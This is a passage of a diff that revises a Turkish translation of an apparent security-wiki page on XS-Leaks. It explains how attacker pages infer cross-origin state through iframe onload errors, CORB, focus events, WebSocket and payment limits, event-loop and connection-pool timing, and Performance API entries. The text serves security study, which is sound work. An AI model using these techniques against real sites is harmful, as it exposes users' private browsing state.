almak için geçen süre, [`unload`](https://developer.mozilla.org - **Summary**: Eğer doğru içerik erişildiğinde sayfanın hata vermesini sağlayabilir ve herhangi bir içerik erişildiğinde doğru bir şekilde yüklenmesini sağlayabilirseniz, o zaman zamanı ölçmeden tüm bilgileri çıkarmak için bir döngü oluşturabilirsiniz. - **Code Example**: -Sayfanın **gizli** içeriği **bir Iframe içinde** **eklenebileceğini** varsayalım. +Farz edelim ki **gizli** içeriği **bir Iframe'in içinde** barındıran **sayfayı** **ekleyebilirsiniz**. -Kurbanın **`_flag_`** içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF'yi istismar ederek). Iframe içinde _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirebilirsiniz. +**Kurbanın** "_**flag**_" içeren dosyayı bir **Iframe** kullanarak aramasını sağlayabilirsiniz (örneğin bir CSRF'yi istismar ederek). Iframe'in içinde _**onload olayı**_ her zaman **en az bir kez** **çalıştırılacağını** biliyorsunuz. Sonra, **iframe**'in **URL**'sini değiştirerek sadece **hash** içeriğini değiştirerek **değiştirebilirsiniz**. Örneğin: @@ -145,7 +145,7 @@ Kurbanın **`_flag_`** içeren dosyayı bir **Iframe** kullanarak aramasını sa Eğer ilk URL **başarıyla yüklendiyse**, o zaman **URL**'nin **hash** kısmını **değiştirdiğinizde** **onload** olayı **tekrar tetiklenmeyecek**. Ama **eğer** sayfa **yüklenirken** bir tür **hata** almışsa, o zaman **onload** olayı **tekrar tetiklenecektir**. -Sonuç olarak, erişildiğinde **doğru** yüklenmiş bir sayfa ile **hata** olan bir sayfa arasında **ayrım** yapabilirsiniz. +Böylece, erişildiğinde **doğru** bir şekilde yüklenen sayfa ile **hata** olan sayfa arasında **ayrım** yapabilirsiniz. ### Javascript Execution @@ -164,7 +164,7 @@ javascript-execution-xs-leak.md - **Inclusion Methods**: HTML Elemanları - **Detectable Difference**: Durum Kodu & Başlıklar - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/) -- **Summary**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu döndüğünde, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar. +- **Summary**: **Cross-Origin Read Blocking (CORB)**, web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir ve **Spectre** gibi saldırılara karşı koruma sağlar. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. **CORB**'ye tabi bir yanıt, `nosniff` ile birlikte _**CORB korumalı**_ `Content-Type` ve `2xx` durum kodu döndüğünde, **CORB** yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, **durum kodu** (başarı veya hata gösteren) ve `Content-Type` (koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar. - **Code Example**: Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin. @@ -174,11 +174,11 @@ Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin. - **Inclusion Methods**: Frames - **Detectable Difference**: Sayfa İçeriği - **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/) -- **Summary**: ID veya ad niteliğinden hassas verileri sızdırın. +- **Summary**: id veya name niteliğinden hassas verileri sızdırın. - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet) -Bir **iframe** içinde bir **sayfa yüklemek** ve sayfanın **belirtilen öğeye odaklanmasını** sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi var demektir.\ -Aynı saldırıyı **`portal`** etiketleri ile de gerçekleştirebilirsiniz. +Bir **iframe** içinde **bir sayfa yüklemek** ve sayfanın **belirtilen** iframe elemanına **odaklanmasını** sağlamak için **`#id_value`** kullanmak mümkündür, ardından bir **`onblur`** sinyali tetiklendiğinde, ID elemanı vardır.\ +Aynı saldırıyı **`portal`** etiketleri ile gerçekleştirebilirsiniz. ### postMessage Broadcasts @@ -188,7 +188,7 @@ Aynı saldırıyı **`portal`** etiketleri ile de gerçekleştirebilirsiniz. - **Summary**: Bir postMessage'dan hassas bilgileri toplayın veya postMessages'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanın. - **Code Example**: `Tüm postMessages'ı dinleyen herhangi bir kod.` -Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kaynaklar arasında iletişim kurmak için kullanır. Ancak, `targetOrigin` parametresi düzgün bir şekilde belirtilmezse, bu yöntem istemeden **hassas bilgileri** açığa çıkarabilir ve herhangi bir pencerenin mesajları almasına izin verebilir. Ayrıca, bir mesajın alınması, bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının kimlik durumu hakkında bilgi verebilir, örneğin, oturum açıp açmadıkları gibi. +Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) farklı kaynaklar arasında iletişim kurmak için kullanır. Ancak, bu yöntem `targetOrigin` parametresi doğru bir şekilde belirtilmediğinde istemeden **hassas bilgileri** açığa çıkarabilir, bu da herhangi bir pencerenin mesajları almasına izin verir. Ayrıca, bir mesajı almanın kendisi bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının kimlik durumu veya kimliği hakkında bilgi verebilir, örneğin, oturum açıp açmadıkları gibi. ## Global Limits Techniques @@ -200,21 +200,21 @@ Uygulamalar genellikle [`postMessage` yayınlarını](https://developer.mozilla. - **Summary**: WebSocket bağlantı limitini tüketmek, bir çapraz kaynak sayfasının WebSocket bağlantılarının sayısını sızdırır. - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)]() -Bir hedef sayfanın **WebSocket bağlantılarını** kullanıp kullanmadığını belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantılarının sayısına bağlı bilgileri sızdırmasına olanak tanır. +Bir hedef sayfanın **kaç tane WebSocket bağlantısı kullandığını** belirlemek mümkündür. Bu, bir saldırgana uygulama durumlarını tespit etme ve WebSocket bağlantılarının sayısına bağlı bilgileri sızdırma imkanı tanır. -Eğer bir **kaynak** maksimum sayıda WebSocket bağlantı nesnesi kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına** yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantılarının sayısıdır**. +Eğer bir **kaynak** maksimum sayıda WebSocket bağlantı nesnesi kullanıyorsa, bağlantı durumlarından bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına yol açar**. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesinin kullandığı **WebSocket bağlantılarının sayısıdır**. ### Payment API - **Inclusion Methods**: Frames, Pop-up'lar - **Detectable Difference**: API Kullanımı - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1) -- **Summary**: Sadece birinin aktif olabileceğini tespit et. +- **Summary**: Ödeme Talebini tespit edin çünkü yalnızca bir tane aktif olabilir. - **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak) -Bu XS-Leak, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme talebi başlattığını tespit etmesine** olanak tanır. +Bu XS-Sızıntı, bir saldırgana **bir çapraz kaynak sayfasının ödeme talebi başlattığını tespit etme** imkanı tanır. -Çünkü **sadece bir ödeme talebi aktif** olabileceğinden, eğer hedef web sitesi Payment Request API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Payment API UI'sini göstermeye çalışarak** bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik denemeleri gizleyebilir. +Çünkü **yalnızca bir ödeme talebi aktif** olabileceğinden, eğer hedef web sitesi Ödeme Talebi API'sini kullanıyorsa, bu API'yi kullanma girişimleri **başarısız olacak** ve bir **JavaScript istisnası** oluşturacaktır. Saldırgan, **periyodik olarak Ödeme API UI'sını göstermeye çalışarak** bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, oluşturduktan hemen sonra UI'yi kapatarak bu periyodik denemeleri gizleyebilir. ### Timing the Event Loop @@ -228,7 +228,7 @@ Bu XS-Leak, bir saldırganın **bir çapraz kaynak sayfasının bir ödeme taleb event-loop-blocking-+-lazy-images.md {{#endref}} -JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **sadece bir görevi aynı anda gerçekleştirebileceği** anlamına gelir. Bu özellik, **farklı bir kaynaktan gelen kodun yürütülmesi için ne kadar zaman gerektiğini** ölçmek için istismar edilebilir. Bir saldırgan, sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun yürütme süresini olay döngüsünde ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Eğer diğer kaynaklar da aynı havuza olay gönderiyorsa, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu dış olayların yürütülmesi için geçen süreyi çıkarabilir**. Olay döngüsündeki gecikmeleri izleme yöntemi, farklı kaynaklardan gelen kodun yürütme süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir. +JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **sadece bir görevi aynı anda gerçekleştirebileceği** anlamına gelir. Bu özellik, **farklı bir kaynaktan gelen kodun yürütülmesi için ne kadar zaman gerektiğini ölçmek** için istismar edilebilir. Bir saldırgan, sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun yürütme süresini olay döngüsünde ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Eğer diğer kaynaklar da aynı havuza olay gönderiyorsa, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu dış olayların yürütülmesi için geçen süreyi çıkarabilir**. Gecikmeleri izlemek için olay döngüsünü izleme yöntemi, farklı kaynaklardan gelen kodun yürütme süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir. > [!WARNING] > Bir yürütme zamanlamasında, **daha kesin ölçümler** elde etmek için **ağ faktörlerini** **ortadan kaldırmak** mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek. @@ -238,7 +238,7 @@ JavaScript, [tek iş parçacıklı bir olay döngüsü](https://developer.mozill - **Inclusion Methods**: - **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) -- **Summary:** Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar ne kadar sürede kullanılabilir hale geldiğini** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir. +- **Summary:** Bir web işleminin yürütme süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından **olay döngüsünün tekrar kullanılabilir hale gelmesi için ne kadar sürdüğünü** zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun yürütülmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak yürütülür ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir. - **Code Example**: Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu aşma potansiyelidir. **Site İzolasyonu**, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kaynağın yürütme zamanlamasını etkileyerek, o kaynağın faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kaynağın verilerine doğrudan erişim gerektirmez, bunun yerine o kaynağın faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece **Site İzolasyonu** tarafından oluşturulan koruyucu engellerden kaçınır. @@ -258,12 +258,12 @@ Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli connection-pool-example.md {{#endref}} -Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, **tarayıcılar eşzamanlı soket sayısında bir sınırlama** getirmek zorundadır. Saldırganlar bu sınırlamayı aşağıdaki adımlarla istismar edebilir: +Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, **tarayıcılar eşzamanlı soket sayısında bir sınırlama getirmek zorundadır**. Saldırganlar, bu sınırlamayı aşağıdaki adımlarla istismar edebilir: 1. Tarayıcının soket limitini belirleyin, örneğin, 256 global soket. 2. 255 soketi uzun bir süre boyunca, bağlantıları tamamlamadan açık tutacak şekilde, çeşitli ana bilgisayarlara 255 istek başlatarak doldurun. 3. 256. soketi hedef sayfaya bir istek göndermek için kullanın. -4. Farklı bir ana bilgisayara 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek, bir soket kullanılabilir hale gelene kadar bekleyecektir. Bu isteğin ilerlemesi için geçen süre, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zamanlama bilgisi sağlar. Bu çıkarım mümkündür çünkü 2. adımda 255 soket hala meşguldür, bu da yeni kullanılabilir hale gelen soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin kullanılabilir hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır. +4. Farklı bir ana bilgisayara 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek, bir soket mevcut olana kadar bekletilecektir. Bu isteğin ilerlemesi için geçen süre, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zamanlama bilgisi sağlar. Bu çıkarım, 2. adımda yer alan 255 soketin hala meşgul olması nedeniyle mümkündür; bu, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. Böylece, 256. soketin mevcut hale gelmesi için geçen süre, hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır. Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) @@ -272,11 +272,11 @@ Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connect - **Inclusion Methods**: JavaScript İstekleri - **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle) - **More info**: -- **Summary:** Önceki teknikle aynı ama tüm soketleri kullanmak yerine, Google **Chrome** aynı kaynağa **6 eşzamanlı istek** limiti koyar. Eğer **5'ini engellersek** ve sonra **6.'sını** başlatırsak, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz. +- **Summary:** Önceki teknikle aynı ama tüm soketleri kullanmak yerine, Google **Chrome** aynı kaynağa **6 eşzamanlı istek** limiti koyar. Eğer **5'ini engellersek** ve sonra **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz. ## Performance API Techniques -[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süresi gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir. +[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance), web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süresi gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir. Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi bazı tarayıcılarda `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır. @@ -290,7 +290,7 @@ Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgör - **Summary:** Hatalarla sonuçlanan bir istek, bir kaynak zamanlama girişi oluşturmaz. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) -HTTP yanıt durum kodları arasında **ayrım** yapmak mümkündür çünkü bir **hata** ile sonuçlanan istekler **performans girişi** oluşturmaz. +HTTP yanıt durum kodları arasında **ayrım yapmak mümkündür** çünkü bir **hata** ile sonuçlanan istekler **performans girişi** oluşturmaz. ### Style Reload Error @@ -300,7 +300,7 @@ HTTP yanıt durum kodları arasında **ayrım** yapmak mümkündür çünkü bir - **Summary:** Bir tarayıcı hatası nedeniyle, hatalarla sonuçlanan istekler iki kez yüklenir. - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) -Önceki teknikte, yüklenemeyen kaynakların iki kez yüklendiği durumları belirten iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla giriş oluşturur ve bu nedenle tespit edilebilir. +Önceki teknikte, GC'deki tarayıcı hatalarının, yüklenemeyen **kaynakların iki kez yüklenmesine** yol açtığı iki durum da tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir. ### Request Merging Error @@ -320,17 +320,17 @@ Bu teknik, bahsedilen belgede bir tabloda bulunmuştur ancak tekniğin tanımı - **Summary:** Boş yanıtlar kaynak zamanlama girişleri oluşturmaz. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) -Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonuçlanmadığını tespit edebilir çünkü **boş sayfalar bazı tarayıcılarda** performans girişi oluşturmaz. +Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonuçlanmadığını tespit edebilir çünkü **boş sayfalar bazı tarayıcılarda performans girişi oluşturmaz**. ### **XSS-Auditor Leak** - **Inclusion Methods**: Frames - **Detectable Difference**: Sayfa İçeriği - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) -- **Summary:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar belirli web sayfası öğelerini, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişikliklerini gözlemleyerek tespit edebilir. +- **Summary:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimini gözlemleyerek belirli web sayfası öğelerini tespit edebilir. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) -Güvenlik İddialarında (SA), başlangıçta Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un meşru betikleri yanlışlıkla engelleyebileceğini ve yanlış pozitiflere yol açabileceğini göstermiştir. Bunun üzerine, araştırmacılar bilgi çıkarmak ve çapraz kaynak sayfalarında belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Leaks olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır. +Güvenlik İddialarında (SA), başlangıçta Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik, Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlış pozitiflere yol açarak meşru betikleri yanlışlıkla engelleyebileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynak sayfalarında belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavrama XS-Sızıntılar denir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır. ### X-Frame Leak @@ -340,8 +340,8 @@ Güvenlik İddialarında (SA), başlangıçta Cross-Site Scripting (XSS) saldır - **Summary:** X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girişi oluşturmaz. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) -Eğer bir sayfa **bir iframe içinde** **görüntülenmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\ -Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir. +Eğer bir sayfa **bir iframe'de** **görüntülenmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\ +Aynı şey **embed** **etiketi** kullanıldığında da geçerlidir. ### Download Detection @@ -351,7 +351,7 @@ Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir. - **Summary:** İndirmeler, Performans API'sinde kaynak zamanlama girişleri oluşturmaz. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) -Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kaynak** da **performans girişi** oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır. +Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kaynak**, **performans girişi** oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır. ### Redirect Start Leak @@ -361,7 +361,7 @@ Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kayna - **Summary:** Kaynak zamanlama girişi, bir yönlendirmenin başlangıç zamanını sızdırır. - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) -Bazı tarayıcıların çapraz kaynak istekleri için fazla bilgi kaydetme davranışını istismar eden bir XS-Leak örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özelliği tanımlar. Ancak, **SA**'da, hedef sayfanın kullanıcıyı **yönlendirdiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak **redirectStart zamanlama verisini** kontrol ederek. +Bazı tarayıcıların çapraz kaynak istekleri için çok fazla bilgi kaydettiği bir XS-Sızıntı örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özelliği tanımlar. Ancak, **SA**'da, hedef sayfanın kullanıcıyı **yönlendirdiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak ve **redirectStart zamanlama verisini** kontrol ederek. ### Duration Redirect Leak @@ -371,7 +371,7 @@ Bazı tarayıcıların çapraz kaynak istekleri için fazla bilgi kaydetme davra - **Summary:** Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatiftir. - **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak) -GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatiftir** ve bu nedenle yönlendirme ile sonuçlanmayan isteklerden **ayrılabilir**. +GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatif** olup, bu nedenle yönlendirme ile sonuçlanmayan isteklerden **ayrılabilir**. ### CORP Leak @@ -381,7 +381,7 @@ GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatiftir** ve - **Summary:** CORP ile korunan kaynaklar, kaynak zamanlama girişleri oluşturmaz. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak) -Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. Not edin ki, SA, CORP etkin kaynaklar için hiç performans girişi oluşturmayacaktır. +Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. SA'nın, CORP etkin kaynaklar için hiç performans girişi oluşturmayacağını unutmayın. ### Service Worker @@ -391,7 +391,7 @@ Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kul - **Summary:** Belirli bir kaynak için bir hizmet çalışanının kaydedilip kaydedilmediğini tespit edin. - **Code Example**: -Hizmet çalışanları, bir kaynakta çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları **yakalamak**, **değiştirmek** ve **önbelleğe almak** için kullanılabilir, böylece çevrimdışı web uygulamaları oluşturur.\ +Hizmet 